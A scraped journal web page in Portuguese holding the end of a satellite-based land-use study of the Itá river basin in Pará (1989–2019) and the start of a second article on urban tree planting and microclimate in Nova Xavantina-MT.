<p class="wp-block-paragraph">Tal escolha justifica-se pela disponibilidade gratuita do acervo das imagens, no site do Serviço Geológico dos Estados Unidos (USGS). E por apresentar frequência de passagem do sensor de 16 dias, resolução espacial de 30 metros e separação espectral adequada para oferecer subsídios aos mapeamentos temáticos na área de recursos naturais (EMBRAPA, 2013).&nbsp;</p>



<p class="wp-block-paragraph">Inicialmente após o download das imagens foi estruturado um banco de dados geográfico georreferenciado para o armazenamento das informações necessárias. Em seguida foi realizada a reprojeção das bandas das imagens para o sistema de projeção cartográfica Universal Transversa de Mercator (UTM), utilizando o fuso 22S, com Sistema de Referência (SIRGAS 2000) – South American.</p>



<p class="wp-block-paragraph">Em seguida realizou-se a composição colorida das bandas RGB (5,4,3) para o Landsat-5 sensor TM (Thematic Mapper) para a análise dos anos de 1989 e 2004, a composição colorida (6,5,4) para o Landsat-8 sensor OLI (Operational Land Imager) para a análise do ano de 2019, em sequência elaboração do mosaico. Finalizado esse processo de construção dos mosaicos, através da ferramenta mesclar imagens no software QGIS, foi feito o recorte dessas imagens utilizando como extensão a camada vetorial do limite da bacia do rio Itá, seguido de uma classificação supervisionada.</p>



<p class="wp-block-paragraph">Esse método de classificação adota o processo de classificação pixel a pixel que consiste em treinar o algoritmo para poder distinguir os diferentes tipos de classes de uso do solo, em função do comportamento espectral dos alvos. Este treinamento supervisionado é controlado de modo contíguo pelo analista. Onde este escolhe pequenas áreas de amostras contidas na imagem, contendo poucas centenas de pixels que sejam bem representativos espectralmente, de padrões dos alvos por ele reconhecidos, ou que podem ser identificados com a ajuda de outras fontes, a exemplo de dados &nbsp; coletados &nbsp; em &nbsp; campo (MENEZES; ALMEIDA, 2012).&nbsp;</p>



<p class="wp-block-paragraph">Ainda sobre a classificação do uso do solo e da cobertura vegetal, esta foi feita a partir do complemento Dzetsaka Classification tool, disponível no próprio programa, o QGIS que, para determinar as devidas classes de ocupações, utiliza o modelo de Mistura Gaussiana (FAUVEL et al., 2015). E, a partir dessa classificação supervisionada, foi realizado o cálculo das áreas ocupadas por cada categoria de uso. Silva et al. (2020), aponta que esse método de classificação de imagens apresenta como principais características favoráveis a praticidade e eficácia aliadas à um excelente produto final de classificação.&nbsp;</p>



<p class="wp-block-paragraph">Nesta etapa de classificação foram feitas a identificação de 6 Classes a saber: (1) água, (2) áreas de agricultura, (3) floresta primária, (4) floresta secundária e (5) solo exposto. Deste modo, o mapeamento do uso do solo e cobertura vegetal foi realizado especificamente por meio da aplicação de ferramentas do geoprocessamento e técnicas do sensoriamento remoto integradas em ambiente SIG, apoiando-se no processo de extração de informações contidas nas imagens de satélite e classificados em 6 categorias.&nbsp;</p>



<p class="wp-block-paragraph">A escolha dessas categorias citadas se firmou por ser as mais abundantes na área em estudo. Após o processo de classificação supervisionada, foram elaboradas três cartas temáticas para a visualização dos resultados das classes identificadas, nos três diferentes intervalos no estudo 1989, 2004 e 2019. O software utilizado neste trabalho, desde a construção do banco de dados até a fase final para a representação dos resultados, foi o QGIS versão 3.26.0</p>



<p class="wp-block-paragraph"><strong>3. Resultados/Discussões</strong></p>



<p class="wp-block-paragraph">A dinâmica de cobertura e uso do solo ocorrida ao longo de 30 anos (1989-2019) na bacia hidrográfica do rio Itá, situada no município de Santa Izabel do Pará, é apresentada na figura 2 e sumarizada no gráfico 1. Por meio da metodologia adotada neste trabalho, foi possível analisar a variação das classes estudadas de uso e cobertura de solo.</p>



<p class="wp-block-paragraph"><strong>Figura 2</strong>. Uso e ocupação do solo da bacia hidrográfica do rio Itá, nos anos de 1989, 2004 e 2019.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="658" height="391" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-2-11.png" alt="" class="wp-image-261960" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-2-11.png 658w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-2-11-300x178.png 300w" sizes="(max-width: 658px) 100vw, 658px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Autores, 2022.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3</strong>. Evolução das classes agrupadas de uso e ocupação nos anos de 1989, 2004 e 2019.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="635" height="346" src="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-3-9.png" alt="" class="wp-image-261961" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-3-9.png 635w, https://revistaft.com.br/wp-content/uploads/2026/01/Captura-de-tela-3-9-300x163.png 300w" sizes="(max-width: 635px) 100vw, 635px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Autores, 2022</p>



<p class="wp-block-paragraph">Dos resultados identificou-se que no ano de 1989 a floresta secundária ocupava 52.014 km², equivalente a 46,23% da área total da bacia. Essa classe é predominante em todos os períodos estudados, e encontra-se distribuída ao longo de toda a bacia. De acordo com Silva (2015), às florestas secundárias são áreas/espaços que já sofreram com ações antrópicas em seu ecossistema natural a exemplo de sucessivos cultivos agrícolas, e após pousio, passam por processo natural de regeneração e começam a se restabelecer espécies vegetais (árvores/arbustos).</p>



<p class="wp-block-paragraph">Nesse período a floresta primária ocupava 22.995 km² o equivalente a 21,25% de toda extensão territorial da bacia estuda. Segundo Pequeno (2015), a floresta primária é aquela vegetação com pouca ou quase nenhuma alteração movida pelas ações antrópicas onde há maior equilíbrio e de diversidade entre espécies arbóreas, arbustivas e animais. Na bacia do rio Itá, encontra-se distribuída principalmente como mata ciliar, no rio e seus afluentes.</p>



<p class="wp-block-paragraph">As áreas agrícolas em 1989 ocupavam 1.550 km², equivalente a 4,79% da área total nesse período. Essa classe é estabelecida a partir de processo de antropização, para uso da terra em atividades como: Pastagens, culturas agrícolas, favorecidas sobretudo pela inexistência de políticas públicas voltadas ao controle da exploração predatória da diversidade biológica sobretudo na Amazônia (DO ROSÁRIO, 2021). Essa classe apresenta variações mais expressivas dentre as analisadas no trabalho.</p>



<p class="wp-block-paragraph">Quando analisadas a distribuição da classe de solo exposto no uso e ocupação da área em 1989, observa-se predominância significativa sendo o maior valor percentual na cobertura do solo (24,43%) para o ano de 1989 possivelmente pelo crescimento da urbanização assim como constatado em estudos por (DIAS, 2015) em estudos de uso e ocupação de solo na Amazônia. Pode-se notar o aumento no decorrer dos anos nessa classe à medida em que há diminuição da floresta secundária, expressando a ré exploração dessas áreas por cultivos agrícolas na formação de pastagens ou roçados (CORDEIRO, 2017).</p>



<p class="wp-block-paragraph">Em 2004 constata-se ocupação de 43.355 km², correspondente a 40,07% de floresta secundária, demonstrando decréscimo em relação ao primeiro ano analisado e segue a mesma dinâmica até 2019 com 31,17% na cobertura do solo, diminuição de 15,06% durante os 30 anos. O oposto ocorre nas áreas de agricultura, com cobertura de 7,53% e 12,10% nos anos de 2004 e 2019 respectivamente, em acordo com (CORDEIRO, 2017).</p>



<p class="wp-block-paragraph">De maneira geral, a área de solo exposto sofre pouca variação ao longo do período. Observa-se um aumento de 4,35% nos primeiros 15 anos e, posteriormente, decréscimo de 3,44%. Essa oscilação no primeiro período pode ser compreendida pela diminuição da área de floresta secundária e exploração agrícola, nos últimos quinze anos há uma compensação pelo aumento da cobertura vegetal de floresta primária.</p>



<p class="wp-block-paragraph">A variação na composição hídrica foi pouco expressiva, de 1.550 km² para 2.306 km² aumentando em 0,7% nos 30 anos observados. Essa variação pode estar relacionada a expansão de floresta primária nesse período auxiliando na recomposição da cobertura vegetal ou mata ciliar, fenômeno recorrente, segundo Nogueira (2016), nas margens dos afluentes, seja para exploração agrícola ou construções, nesse estudo são observados no mapa de classificação do uso e ocupação do solo na parte sudoeste da bacia hidrográfica. E essa dinâmica também pode ser acompanhada no gráfico 1.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">De modo geral, é possível inferir a partir dos dados, a intensificação das atividades antropogênicas no meio físico da bacia, nesse recorte espaço-temporal. Onde é claramente observado que a vegetação secundária foi suprimida dando lugar a cultivos agrícolas, possivelmente precedidos por práticas de preparo como desmatamento e queimadas. Nesse contexto, problemas ambientais são iminentes ao longo da bacia do rio Itá, podendo desencadear processos de erosão, assoreamento de acordo com Souza (2016), dentre outros.&nbsp;</p>



<p class="wp-block-paragraph">Este processo de retirada da cobertura vegetal, alteração predominante no âmbito desse estudo desencadeiam diversas alterações biológicas, inicialmente na flora e consequentemente na fauna, e como consequência leva a processos erosivos de assoreamento das bacias dos rios resultando em uma série de impactos ambientais sem precedentes para essas áreas que prioritariamente deveriam ser mais protegidas (DOS SANTOS, 2021; COELHO, 2016).</p>



<p class="wp-block-paragraph">Não obstante as áreas de bacias hidrográficas, são naturalmente declivosas, essa característica favorece, após a retirada da cobertura vegetal, processos de lixiviação (escoamento superficial), formação de ravinas, e voçorocas levando a degradação irreversível do solo (LEITE, 2013; VIEIRA, 2015). Diante o exposto constata-se que o desmatamento é o ponto principal a ser atenuado na degradação do solo na bacia hidrográfica estudada.</p>



<p class="wp-block-paragraph">Diante o exposto pode-se afirmar que a bacia do rio Itá, carece de monitoramento e implementação de ações para manejo e uso sustentável do solo para frear o desmatamento e os danos decorrentes dessa prática. Não obstante, a análise de uso e cobertura do solo por meio de ferramentas de geotecnologias apresenta-se como método relevante na implementação de tais medidas por órgãos competentes municipais, haja vista possibilitar o planejamento por meio da análise clara das variações no uso e ocupação do solo em escala temporal.</p>



<p class="wp-block-paragraph"><strong>4. Considerações Finais</strong></p>



<p class="wp-block-paragraph">O estudo possibilitou a elaboração e entendimento da variação espacial e temporal do uso e cobertura do solo na bacia hidrográfica do rio Itá, entre os anos 1989 e 2019, bem como, analisar as modificações observadas a fim de propor medidas mitigadoras dos impactos ambientais e de uso sustentável dos recursos naturais.</p>



<p class="wp-block-paragraph">Constatou-se as alterações no uso do solo predominando a modificação por cultivos agrícolas, precedidos de desmatamentos e/ou queimadas. Tais práticas são extremamente nocivas ao meio ambiente e comprometem a preservação dos corpos hídricos, haja vista os impactos decorrentes do desmatamento.</p>



<p class="wp-block-paragraph">Assim, a metodologia adotada no trabalho apresenta efetividade, pois cumpriu o papel à que se propôs, possibilitou a elaboração dos mapas e gráficos de uso e ocupação da terra, e a análise das transformações ocorridas ao longo de 30 anos. Com isso, as técnicas utilizadas de geoprocessamento e sensoriamento remoto integradas ao SIG apresentam-se como ferramentas indispensáveis para a realização de estudos ambientais como de uso e ocupação do solo.</p>



<p class="wp-block-paragraph"><strong>5. Referências Bibliográficas</strong></p>



<p class="wp-block-paragraph">BASOMMI, P., GUAN, Q., CHENG, D., 2015. Exploring Land use and Land cover change in the mining areas of Wa East District, Ghana using Satellite Imagery, Open Geosciences 1, 618-626. Disponível: https://doi.org/10.1515/geo-2015-0058. Acesso: 25 jun. 2022.</p>



<p class="wp-block-paragraph">COELHO, J. R. R. <strong>Transporte sedimentar no estuário do rio Lima: avaliação de soluções de minimização do assoreamento na embocadura</strong>. Tese de Doutorado 2016.</p>



<p class="wp-block-paragraph">CORDEIRO, Iracema Maria Castro Coimbra et al. Nordeste Paraense: panorama geral e uso sustentável das florestas secundárias. 2017.</p>



<p class="wp-block-paragraph">DIAS, Rafael Henrique Serafim et al. Influência do uso e ocupação do solo no escoamento superficial na cidade de Ji-Paraná-RO, Amazônia Ocidental. <strong>Revista Brasileira de Geografia Física</strong>, v. 8, n. 05, p. 1493-1508, 2015.</p>



<p class="wp-block-paragraph">DO ROSÁRIO, Raimara Reis et al. Uso e ocupação do solo do município de novo progresso no Estado do Pará-Brasil. <strong>Research, society and development</strong>, v. 10, n. 1, p. e51210112060e51210112060, 2021.</p>



<p class="wp-block-paragraph">EMBRAPA MONITORAMENTO POR SATÉLITE. Satélites de Monitoramento. Campinas: Embrapa Monitoramento por Satélite, 2013. Disponível em: &lt; http://www.sat.cnpm.embrapa.br/&gt;. Acesso em: 5 jun. 2022.</p>



<p class="wp-block-paragraph">FAUSTINO, A.B.; RAMOS, F.F.; SILVA, S.M.P. Dinâmica temporal do uso e cobertura do solo na Bacia Hidrográfica do Rio Doce (RN) com base em Sensoriamento Remoto e SIG: uma contribuição aos estudos ambientais. <strong>Revista Sociedade e Território</strong>, v. 26, n. 2, p. 18- 30, 2014.</p>



<p class="wp-block-paragraph">FAUVEL, Mathieu; DECHESNE, Clemente; ZULLO, Anthony; FERRATY, Frederic. Fast forward feature selection of hyperspectral images for classification with Gaussian mixture models. IEEE Journal of Selected Topics in Applied Earth Observations and Remote Sensing, Pavia/Itália, v. 8, n. 6, p. 2824-2831, 2015.</p>



<p class="wp-block-paragraph">FURTADO, L. G. et al. Transformações do uso e cobertura da terra na bacia hidrográfica do rio Murucupi, Barcarena, Pará. <strong>Revista Brasileira de Geografia Física</strong>, v. 13, n. 05, p. 2340-2354, 2020.</p>



<p class="wp-block-paragraph">IBGE – Instituto Brasileiro de Geografia e Estatística (2019) <strong>Santa Izabel do Pará. </strong>Disponível em: https://cidades.ibge.gov.br/brasil/pa/santa-izabel-do-para/panorama. Acesso em: 21 jun. 2022. </p>



<p class="wp-block-paragraph">LEITE, Marcos Esdras; FERREIRA, Maykon Fredson Freitas. Análise espaço-temporal do uso da terra na Bacia Hidrográfica do Rio Tabuas, Norte de Minas Gerais, com aplicação das geotecnologias. <strong>Revista Brasileira de Geografia Física</strong>, v. 6, n. 02, p. 184-194, 2013.</p>



<p class="wp-block-paragraph">LOPES, B. O.; BOSÍSIO, D.; MERIQUE, F. G. A.; BIANCHINI, G. M.; MATSUTANE, T. Y. N. et al. Uso e ocupação do solo urbano – Jardim das Rosas – Presidente Prudente/SP. <strong>Colloquium Humanarum</strong>, v. 12, n. Especial, p. 392-398, 2015.</p>



<p class="wp-block-paragraph">MARCELLO, T.; TAVEIRA, A. do V. A.; CROTTI, P. C. Zoneamento municipal como instrumento regularizador do uso e ocupação do solo: uma análise da legislação municipal de Francisco Beltrão. <strong>Gestão e Desenvolvimento em Pesquisa</strong>, v. 2, n. 1, p. 41-55, 2016.</p>



<p class="wp-block-paragraph">MATIELLO, S. et al. O uso do geoprocessamento para delimitação e análise das Áreas de Preservação Permanente de um córrego em Nova Mutum Paraná-RO<strong>. Revista Presença Geográfica</strong>, v. 4, n. 1, p. 40-50, 2017.</p>



<p class="wp-block-paragraph">MELLO, C. R.; SILVA, A. M. <strong>Hidrologia: princípios e aplicações em sistemas agrícolas</strong>. 1.ed. Lavras: Editora UFLA, 2013. 455p.</p>



<p class="wp-block-paragraph">MENEZES P.R., ALMEIDA T. 2012. Introdução ao Processamento de Imagens de Sensoriamento Remoto. Brasília, UNB/CNPQ,276p. MohanRajan, S.N., Loganathan, A., Manoharan, P., 2020. Survey on Land Use/Land Cover<br>(LU/LC) change analysis in remote sensing and GIS environment: Techniques and Challenges. <strong>Environmental Science and Pollution Research</strong> 27, 29900–29926. Disponível: https://doi.org/10.1007/s11356-020-09091-7. Acesso em: 20 jun. 2022.</p>



<p class="wp-block-paragraph">NOGUEIRA, L. A. D. S. et al. <strong>Impacto de construções rurais na comunidade arbórea de mata ciliar no arco do desmatamento da Amazônia</strong>. 2016.</p>



<p class="wp-block-paragraph">PEQUENO, M. V. <strong>Estrutura e composição de sistema agroflorestal e floresta secundária e primária em Senador Guimard-AC</strong>. 2015.</p>



<p class="wp-block-paragraph">QUEIROZ, P.H.B. de. <strong>Planejamento ambiental aplicado a um setor do médio curso da bacia hidrográfica do rio Pacoti-CE. Fortaleza</strong>, 2010. 208 p. Dissertação. (Mestrado em Geografia) – Universidade Federal do Ceará, UFC.</p>



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<p class="wp-block-paragraph">SANTOS, A. F; CARDOSO, L. G. (2007). <strong>Evolução do uso da terra, da microbacia do Ribeirão Faxinal, Botucatu-SP, através de fotografias aéreas</strong>. Anais do XIII Simpósio Brasileiro de Sensoriamento Remoto, Florianópolis, Brasil, 13.</p>



<p class="wp-block-paragraph">SANTOS, Humberto Gonçalves; JACOMINE, Paulo Klinger Tito; ANJOS, Lúcia Helena Cunha; OLIVEIRA, Virlei Álvaro; LUMBRERAS, Jose Francisco; COELHO, Mauricio Rizzato; CUNHA; ALMEIDA, Jaime Antônio; FILHO, Jose Coelho de Araújo; OLIVEIRA, João Bertoldo; CUNHA, Tony Jarbas Ferreira. <strong>Sistema Brasileiro de Classificação de Solos. Brasília</strong>, DF: Embrapa, 2018.</p>



<p class="wp-block-paragraph">SILVA, M. M; OLIVEIRA, F. A; SANTANA, A. C. Mudanças na dinâmica de uso das florestas secundárias em Altamira, Estado do Pará, Brasil. <strong>Revista de Ciências Agrárias Amazonian Journal of Agricultural and Environmental Sciences</strong>, v. 58, n. 2, p. 176-183, 2015.</p>



<p class="wp-block-paragraph">SOUZA, P. A. et al. Metodologias de avaliação de impactos ambientais da APP, Rancho Tutty Falcão Gurupi-TO. <strong>Enciclopédia Biosfera</strong>, v. 13, n. 24, 2016.</p>



<p class="wp-block-paragraph">VIEIRA, C. L; VERDUM, R. Arenização e erosão hídrica no Sudoeste do Rio Grande do Sul: análise dos agentes condicionantes e considerações básicas para intervenções mecânicovegetativas. <strong>Revista de geografia. UFPE/DCG-NAPA, </strong>Recife. Vol. 32, n. 1, (2015), p. 41-65, 2015.</p>



<p class="wp-block-paragraph">WENZEL, D. A. et al. Dinâmica da cobertura do solo em três bacias hidrográficas da região amazônica do estado de Mato Grosso, Brasil. <strong>Research, Society and Development</strong>, v. 9, n. 10, p. e3919108613-e3919108613, 2020.</p>



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<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Instituto Federal de Educação, Ciência e Tecnologia do Pará (IFPA) Campus Castanhal / gabrielaraujoagron@gmail.com<br><sup>2</sup>Instituto Federal de Educação, Ciência e Tecnologia do Pará (IFPA) Campus Castanhal / gabrielgarretosan1@gmail.com<br><sup>3</sup>Instituto Federal de Educação, Ciência e Tecnologia do Pará (IFPA) Campus Castanhal / paulonerisfer1@gmail.com<br><sup>4</sup>Instituto Federal de Educação, Ciência e Tecnologia do Pará (IFPA) Campus Castanhal / wagner.goncalves@ifpa.edu.br</p>



<p class="has-text-align-right wp-block-paragraph"><strong>Área Temática: </strong>Meio ambiente, Recursos Florestais e Recursos Pesqueiros</p>



<p class="wp-block-paragraph"></p>
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		<title>ANÁLISE DA RELEVÂNCIA DA ARBORIZAÇÃO URBANA NO MUNICÍPIO DE NOVA XAVANTINA-MT</title>
		<link>https://revistaft.com.br/analise-da-relevancia-da-arborizacao-urbana-no-municipio-de-nova-xavantina-mt/</link>
		
		<dc:creator><![CDATA[Revistaft MA]]></dc:creator>
		<pubDate>Tue, 30 Dec 2025 20:24:21 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ma10202512301759</p>



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<p class="has-text-align-right wp-block-paragraph">Raine Stefani Rupolo Rosalem<br>Orientadora: Prof.ª Dra. Mariney de Menezes</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">Uma das formas de diminuir os impactos do desenvolvimento humano nas cidades é a implantação de árvores, atualmente existem leis que asseguram a implantação, proteção e manejo destas. O estudo tem como objetivo principal, investigar os aspectos da arborização urbana em Nova Xavantina, buscando estabelecer correlações e oferecer subsídios para o desenvolvimento de estratégias que promovam um ambiente urbano mais equilibrado e sustentável, bem como o bem-estar da população. As áreas a serem estudadas estão localizadas no interior da extensão urbana de Nova Xavantina-MT; para fazer as análises de temperatura e umidade nas diferentes estações do ano (estiagem e chuvarada) utilizou-se o aparelho da Kestrel e para sugerir as espécies arbóreas que podem vir a serem utilizadas na cidade foi utilizado o livro de Harri Lorenzi ‘’ Árvores Brasileiras ‘’. Os resultados indicaram variações significativas entre os tratamentos, sendo que as temperaturas mais elevadas foram registradas sob o sol durante o período seco, enquanto as mais baixas ocorreram sob a sombra na estação chuvosa. No entanto, em algumas comparações específicas, a diferença não foi estatisticamente significativa, sugerindo que, em certos contextos, o sombreamento pode perder parte de sua eficácia na redução da temperatura. A umidade relativa também apresentou variações relevantes. Além disso, pesquisas realizadas em diferentes locais reforçam que tanto a arborização quanto os materiais de construção impactam o microclima urbano. Na literatura podemos encontrar diversas espécies nativas brasileiras que podem ser implantadas na cidade, as quais se adaptam, trarão beleza e frutos além de não causarem danos aos seres que irão interagir com elas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>&nbsp;Cidades sustentáveis. Cerrado. Árvores frutíferas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">One of the ways to mitigate the impacts of human development in cities is the implementation of trees. Currently, there are laws that ensure their establishment, protection, and management. The main objective of this study is to investigate urban afforestation aspects in Nova Xavantina, aiming to establish correlations and provide support for the development of strategies that promote a more balanced and sustainable urban environment, as well as the well-being of the population. The areas to be studied are located within the urban extension of Nova Xavantina-MT. To analyze temperature and humidity across different seasons (dry and rainy), a Kestrel device was used. Additionally, to suggest tree species that could be utilized in the city, the book <em>Brazilian Trees</em> by Harri Lorenzi was consulted. The results indicated significant variations between treatments, with the highest temperatures recorded under direct sunlight during the dry season, while the lowest occurred under shade during the rainy season. However, in some specific comparisons, the difference was not statistically significant, suggesting that in certain contexts, shading may lose part of its effectiveness in reducing temperature. Relative humidity also showed relevant variations. Furthermore, research conducted in different locations reinforces that both urban vegetation and construction materials impact the urban microclimate. Literature provides various native Brazilian species that can be implemented in cities, which they are well adapted, will bring beauty and edible fruits, and besides to not pose harm to the living beings interacting with them.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Sustainable cities. Cerrado. Fruit trees&nbsp;</p>



<p class="wp-block-paragraph"><strong>1 </strong><strong>INTRODUÇÃO  </strong></p>



<p class="wp-block-paragraph">Segundo a ONU, 2022 a estimativa até o ano de 2050 é de que 68% da população mundial habitará áreas urbanas, ou seja, serão aproximadamente 2,2 bilhões de pessoas a mais vivendo nos grandes centros. Com isso é necessário buscar alternativas para que os impactos ambientais, na saúde e na qualidade de vida da população sejam minimizados (PINHEIRO et al., 2022). O crescimento populacional nas áreas urbanas provoca diversos impactos que transformam a vida nas cidades, tanto de forma positiva, como água tratada, energia elétrica, saúde, entre outros, como também de forma negativa, sendo estes falta de serviços, surgimento de habitações precárias. Além disso, o aumento da população agrava a poluição e a degradação ambiental, ao mesmo tempo em que evidencia as desigualdades sociais (Jatobá, 2011).&nbsp;</p>



<p class="wp-block-paragraph">Uma das formas de reduzir os impactos ecológicos e sociais do crescimento urbano é promover a implementação adequada da arborização urbana (ANDRADE et al.,<em> </em>2021). Está previsto na Constituição do Estado de Mato Grosso, promulgada pela Lei nº 11.376, artigo 42 “Fica instituído o Programa Raízes de Mato Grosso que visa a preservação de todas as áreas arborizadas públicas, com o objetivo de implantar e preservar a arborização, visando assegurar condições ambientais e paisagísticas”. Cada município poderá formular e implementar o seu Plano Diretor de Arborização Urbana (MATO GROSSO, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Sob a Lei N. 1.677, foi criado em Nova Xavantina o Código Municipal de meio Ambiente, o qual estabelece padrões, ações, proteção e controle para manter a qualidade ambiental do município (NOVA XAVANTINA – MT, 2012); porém ainda não dispõe de um Plano Municipal de Arborização Urbana.&nbsp;</p>



<p class="wp-block-paragraph"> E através desta prática obter vários benefícios, como por exemplo, a redução do calor, da poluição sonora e atmosférica, embelezamento dos centros urbanos e além disso, fornecer abrigo e alimento para animais. No entanto, a falta de planejamento também pode trazer diversos problemas, principalmente com a introdução de árvores inadequadas à cidade que podem causar danos na infraestrutura, como rede elétrica, tubulações e outros (BACELAR et al., 2020). </p>



<p class="wp-block-paragraph">Com base no artigo de Teixeira e Martins, publicado no ano de 2020, o qual foi realizado estudos da arborização na cidade de Lavras, Minas Gerais; temos as seguintes hipóteses: a vegetação interfere diretamente no microclima, podendo diminuir a radiação solar direta, com isso amenizando a temperatura do ar, promovendo também o aumento da umidade do ar. Espera-se que as árvores frutíferas possam ser implantadas, sem que causem quaisquer formas de danos à população ou aos seus bens materiais; as quais possuem potencial de amenizar a fome e fornecer um melhor rendimento nutricional, e até mesmo a população pode gerar algum lucro através de sua produção (RODRIGUES; AOKI, 2022). </p>



<p class="wp-block-paragraph">Considerando os benefícios da arborização urbana os objetivos do presente trabalho foram: analisar o efeito da temperatura e umidade relativa em locais com presença e ausência de espécies arbóreas, identificar as espécies das coletas e pesquisar possíveis árvores frutíferas com potencial paisagístico, com isso buscando estabelecer correlações e oferecer subsídios para o desenvolvimento de estratégias que promovam um ambiente urbano mais equilibrado e sustentável, bem como o bem-estar da população.&nbsp;</p>



<p class="wp-block-paragraph">Diante do cenário apresentado, é notória a necessidade de compreender como a arborização urbana impacta a qualidade de vida dos moradores de Nova Xavantina. Ao coletar dados sobre a temperatura e umidade do local, será possível avaliar o papel desempenhado pelas árvores na melhoria das condições ambientais e no bem-estar da população. Além disso, o estudo busca promover o aperfeiçoamento paisagístico da área urbana, contribuindo para um ambiente mais equilibrado e esteticamente agradável.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2 REFERENCIAL TEÓRICO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Arborização Urbana: Beleza, Sustentabilidade e Impactos Econômicos nas Cidades&nbsp;</strong></p>



<p class="wp-block-paragraph">As árvores possuíam diferentes objetivos nas sociedades antigas, para alguns elas eram de extrema importância para sua sobrevivência, já para outros era meramente estético. Atualmente elas possuem diversos propósitos, dentre eles quebrar a artificialidade do meio, melhorar o microclima e diminuir a poluição é um importante desempenho estético (Bonametti, 2020).&nbsp;</p>



<p class="wp-block-paragraph">Os benefícios estéticos referem-se a diferentes aspectos, integrando a paisagem urbana, a cor das flores, folhas e seus troncos, conferindo assim à área arborizada uma imagem única através de suas diversas espécies. Elas trazem leveza à paisagem, ressaltando também o aumento do valor dos imóveis localizados perto de áreas verdes, o que impacta positivamente no valor econômico. A presença de árvores favorece a diminuição do uso de energia elétrica nas residências equilibrando as temperaturas dos ambientes internos e externos, o que evita a necessidade de investir em aquecedores e ar-condicionado (Paiva, 2021). Além dos benefícios visuais e econômicos, é enfatizada a proteção dos recursos naturais, como solo, água e biodiversidade (Roldão et al<em>., </em>2015).&nbsp;</p>



<p class="wp-block-paragraph">Além dos benefícios econômicos e ambientais, uma boa arborização nos traz proveitos sociais; segundo a Organização das Nações Unidas para Agricultura e Alimentação (FAO, 2016) sugere que espécies frutíferas em ambientes urbanos podem ajudar a alcançar a meta de “acabar com a fome, alcançar a segurança alimentar e melhorar a nutrição da crescente população urbana global” e “tornar as cidades e os assentamentos humanos inclusivos, seguros, resilientes e sustentáveis”. O cultivo de espécies alimentares em áreas públicas pode até constituir oportunidades econômicas, valiosas para a cidade e os seus residentes. Além disso, é uma nova estratégia para promover um desenvolvimento urbano sustentável eficaz (Rodrigues; Aoki, 2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.1.2 </strong><strong>Efeitos da Arborização na Qualidade do Ar </strong></p>



<p class="wp-block-paragraph">Em Genebra no ano de 2022, a OMS divulgou um relatório com base em dados enviados de 117 países, o qual conclui-se que 99% da população respira ar poluído, com valores de materiais particulados superiores aos permitidos pela OMS; os quais podem causar impactos cardiovasculares, doenças vasculares intracranianas e respiratórias. Materiais particulados aumentam os riscos de câncer em diferentes regiões do corpo, com isso podendo deixar sequelas pelo resto da vida dos indivíduos, ou em até casos severos levando a óbito (Dapper et al., 2016).&nbsp;</p>



<p class="wp-block-paragraph">A poluição do ar é uma mistura de gases, partículas sólidas ou líquidos emitidos através de atividades naturais ou antrópicas, sendo sua formação e concentração dependentes das fontes de poluição e das condições meteorológicas, sendo capazes de afetar a saúde, segurança e bem-estar dos seres vivos (Coutinho, 2022). Além disso, gases como o dióxido de carbono (CO2), metano (CH4), óxido nitroso (N2O), em grandes quantidades são tão prejudiciais que podem afetar o clima do planeta como um todo (Collado,2023).&nbsp; A vegetação auxilia no sequestro de dióxido de carbono, assim diminuindo a concentração de gases do efeito estufa (Martelli; Delbim, 2022), mas como isso é possível?&nbsp;</p>



<p class="wp-block-paragraph">As plantas são seres autótrofos, ou seja, produzem o seu próprio alimento, a partir de minerais e fontes abióticas. Possuem a capacidade de capturar a luz solar, graças aos cloroplastos, os quais possuem em seu interior os tilacóides, os mesmos possuem pigmentos capazes de fazer a fotossíntese, chamados de clorofila. A fotossíntese é dividida em duas fases: a fotoquímica, conhecida popularmente como fase clara, onde ocorre a absorção de luz pela clorofila, onde essa luminosidade quebrará a molécula de água, para que elétrons sejam repostos para que assim as proteínas contidas na membrana dos tilacóides funcionem; ao fim das reações serão formados o NADPH e adenosina trifosfato (ATP), o oxigênio (sobra da reação) será liberado para a atmosfera. Na fase de fixação do carbono ou ciclo de Calvin, conhecida também como fase escura (não é necessário a presença de luz), nesta fase serão utilizados os ATPs o NADPH e o gás carbônico &nbsp; para que seja formada a molécula de glicose (De Souza et al<em>., </em>2019; Pikart, 2018).&nbsp;</p>



<p class="wp-block-paragraph">Além da fotossíntese, os vegetais geram outro processo de extrema importância para a vida terrestre, a transpiração; atividade na qual somente 5% da água absorvida pelo vegetal é de fato utilizada em suas estruturas, e em torno de 90-95% é retornada para a atmosfera. Este processo de perda de água na forma de vapor que ocorre principalmente nas folhas, graças a pressão exercida nos espaços internos e o ar externo (Vieira et al<em>.,</em>2010).&nbsp;&nbsp;</p>



